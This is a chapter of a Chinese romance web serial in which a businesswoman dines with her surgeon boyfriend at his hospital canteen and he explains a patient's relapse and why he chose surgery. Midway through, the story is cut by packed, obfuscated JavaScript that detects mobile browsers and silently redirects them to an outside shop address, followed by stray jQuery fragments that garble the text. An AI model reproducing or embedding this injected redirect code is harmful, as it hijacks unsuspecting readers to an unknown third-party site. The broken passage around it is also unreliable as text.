【恋爱习惯养成——新的一天,从互道早晚安开始。】
【早安,男朋友!】
上午八点五十分收到许言微信的时候,林默呈琥珀色的瞳仁里闪过一丝笑意。
【不早了,我都查完房准备上手术了。】
【早安啊,女朋友。】
哦对了,他八点钟上班。
许言看着回复,唇畔弯起一丝笑意。
笃笃笃——
指节扣在玻璃门上的熟悉声音响起,许言收起笑意,扬声唤道,“进!”
推门进来的人中等身材,三十岁左右的模样,短发,妆容精致得体,神色严肃。
正是她的助理顾媛。
“许总,这是我们从内部拿到的这一届梁思成建筑奖的提名名单和资料。”
许言接过顾媛递来的文件夹,翻开,郑虞的名字赫然在列。
果然啊,她长眉轻轻挑了挑,怪不得郑虞那天答应得那么爽快。
“提名什么时候公布?”
“后天中午。”
“阿媛,帮我订锐文明天中午的位置。”许言点了点头,给郑虞发微信。
【明天中午十二点,锐文西餐,郑先生赏个脸?】
发完还没来得及退出,界面上就跳出了新消息。
【好啊,明天见】
答应得这么爽快……许言皱了皱眉。
————
晚六点,省一院。
林默呈一出门就看到了停在路边停车位上的玛莎拉蒂,深蓝色的车身在夕阳的余晖里折射出内敛又耀目的光辉。
如同它的主人一般。
他走到驾驶座旁,敲了敲窗户。
车窗摇开,露出一双漂亮的凤眸来。
“怎么突然说要来找我?”林默呈唇角含着笑意问道。
“听你说今天结束的早,正好我也下班了。”夕阳的光线直射有些刺眼,许言右手遮了遮,微微眯眼才看清了逆光而来的男人,她不自觉地勾起嘴角,声音轻快,“一起吃饭啊!”
临近下山的阳光染成了橘红色,女孩微仰着头,右手遮住光线,凤眸微眯,看不清神色,可她唇畔的笑意却是明朗的,连声音里都染了十分的欢快。
莫名地,林默呈本来稍有些黯然的心情突然就明快起来。
“吃饭的话——”他顿了顿,“要不要尝一尝我们小食堂?”
“食堂?”许言眉心微皱,有些怀疑。
这天下难道还有好吃的食堂?
“你这是什么眼神。”林默呈失笑,“虽然我承认食堂味道确实一般,但是,我们小食堂的水煮肉片可是别有风味,据说是大师傅的家传手艺。”
水煮肉片?许言意动,以林默呈的家世,既然能说出别有风味这四个字,味道想必不会差。
难道真是高手在民间?
心动不如行动。
“走!”她点头,熄火开门下车一气呵成。
除了工作需要,在单位吃晚饭的人并不多,不大的小食堂里只有零星几个人。
“这食堂不大嘛,你们平时坐的下?”许言四处瞅了瞅,见不过几十个座位的样子。
“这是小食堂,还有一个大食堂的。”林默呈带她到一边坐下。
“大食堂?好吃吗?”许言目光一亮,追问,“有没有什么特色菜?”
“……”林默呈沉默了一瞬,回了两个字。
“能吃。”
许言:……
看来天下食堂果然都是一个样,只有这个小食堂特殊些。
和许言想象的有些不同,他们两个的到来并没有引起过多的关注。
“看来林医生热度没我想象中高啊。”许言坐在固定的圆凳上,冲林默呈挑了挑眉。
“医院这么大,哪能所有人都认识我。”林默呈有些无奈,“大概听说过的比较多。”
说的也是,又不是人民币,哪能让所有人都认识。许言点点头,熄了看热闹的心思。
可能是人不多的缘故,菜上的很快。
隔着几桌的距离,许言就闻到了水煮肉的味道。
麻辣鲜香,可得川菜精髓。
她皱了皱鼻子,口水都险些落下来。
穿着白色厨师服的人将菜放到桌上,中年男人略有些局促地搓了搓手,低声道:“林主任,老周的事儿......”,他略微顿了顿,手伸出来想拍拍林默呈的肩膀却又收了回去,“您别太介意,我们都知道您尽力了,这事儿不赖您,他就是着急了,也不是故意跟您发火的。”
“我没事。”林默呈摇了摇头,“老周那边你也多劝劝他吧。”
厨师应了一声,拎着餐盘转身离开了。
林默呈轻叹了口气,想到上午那场单方面的争吵,有些走神。
“你怎么了?”许言放下筷子,戳了戳他的胳膊,“默呈?”
“嗯?”林默呈回过神来,看到有些担忧的女孩子,微微摇了摇头,“没事,尝尝水煮肉。”
“林默呈。”许言扬了扬下巴,“说好坦诚相待的啊。”
“还是——”她想了想,“涉及病人隐私,不方便告诉我?”
“不至于,我有分寸的。”林默呈顿了顿,“你想知道?”
“想知道你为什么不开心。”
面前的女孩神色认真。
林默呈心底涌上些热意,在女孩如墨的瞳仁里勾了勾唇。
“好,那你边吃我边说。”他夹了一片肉到许言碗里,声音清和柔软。
许言耳尖微热,后知后觉地发现自己可能有些声控。
“刚刚那位师傅姓陈,五年前他老婆生病,我主刀,术后恢复得不错。后来他一个老伙计,就是刚说的老周,他爸爸也得了这个毛病,因为年龄大,基础条件也差,敢接手的医生不多,他就找到了我。一期手术效果还行,可惜......”林默呈摇了摇头,叹气,“今天来复诊,还是复发了。”
“我跟老周交代情况的时候,他情绪有些失控,吵了几句。”
手术......复发......林默呈是肝胆外科的医生。
“肿瘤?”许言手里的筷子顿了顿,低声问道。
林默呈不置可否,只是沉沉叹了口气,琥珀色的眸子有些黯淡。
“默呈......”许言咬了咬唇,想要说些安慰的话,可面对一条生命,又觉得,语言是这样苍白无力的东西。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342915|199441||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>她放下筷子,右手覆在了男人放在桌上的左手背上,轻声道:“我在。”
我在。
林默呈心底随着手背一软。
他忍不住伸手揉了揉她柔软的发顶,然后在她一脸你不要破坏我发型的目光里笑了笑,“没事,不用安慰我。”
“我一个外科医生,见到过的生离死别可能比你在电视剧里见到的都多。死在台上台下的,甚至还有连手术台都来不及上的,要是玻璃心的话,早就崩溃了。”他眉目舒朗,语气已恢复了向来的沉肃。
“林默呈,你为什么当医生啊?”许言扒拉了几下被弄乱的头发,突然好奇问道。
以他的家世和智商,就算不想接触家族生意,那随便干点什么其他的事情,也自然能活的很好,可偏偏选择这么一个有些吃力不讨好的工作,难不成是因为救死扶伤的崇高理想?
“最开始——”林默呈认真想了想,“是因为有趣。”
“有趣?”许言怔住,脑子里升起一个大大的黑人问号,满脸的不明所以。
“是啊。”林默呈点头,“我从小聪明,学什么都快,高中毕业的时候因为跳级年纪还小,自负得很,一心想着,探究生命最本真的奥妙,多有趣。”他嗤笑了一声,仿佛在嘲笑曾经那个骄傲得万物都不放在眼中的小少年。
“你大概不知道吧,我在清北读的是基础医学。”
“基础医学?”许言有些疑惑,不是临床?
“不是临床。”大概是看出她的疑惑,林默呈重复道,“当时考哈弗的硕博连读,也是细胞生物学方向。”
“直到出国前的最后一学期,我实习轮转到了急诊。那天晚上有个病人喝醉了没人看着,呕吐物误吸到了气管,送来的时候有些晚了。”
“才三十几岁……心肺复苏机在抢救室里整整响了三个小时”,咚—咚—咚—低沉规律的巨大声响似乎还回荡在耳畔,“还有,不同人的哭声,男人的女人的,老人的孩子的......后来,我去给他拉死亡心电图,一条直线。”
“言言,那是我第一次,直面一个生命的消逝,填死亡记录的时候,手都在忍不住发抖。”他微微仰了仰头,琥珀色的眸子里水色一闪而过。
死亡到来的如此猝不及防,直到今天,画面里的每一帧都仍然清晰得不可思议。
“也第一次明白了,医生这个职业所代表的意义。”
“所以后来转了临床?”许言轻声接到。
“嗯。”林默呈点了点头,“基础医学的研究也重要,但它可能要数十年甚至数百年的时间才能看到进步和结果,我不想等那么久。而且,”他笑了笑,垂眸看了看自己的双手,“哈弗建校这么多年,我是唯一一个成功从基础研究转到临床外科的学生,连我的导师斯维尔教授,在带我做了第一场手术后都说,这天生就是一双为外科手术而生的手。”
“稳定,精准。”
“经我手的病人,连术后并发症的几率都是最小的。”
他眼中也有了笑意,语气骄傲又笃定。
许言手撑着下巴,一双凤眸不自觉地弯起来,漾起粼粼波光。
他那样骄傲。
却又骄傲得坦坦荡荡,令人心折。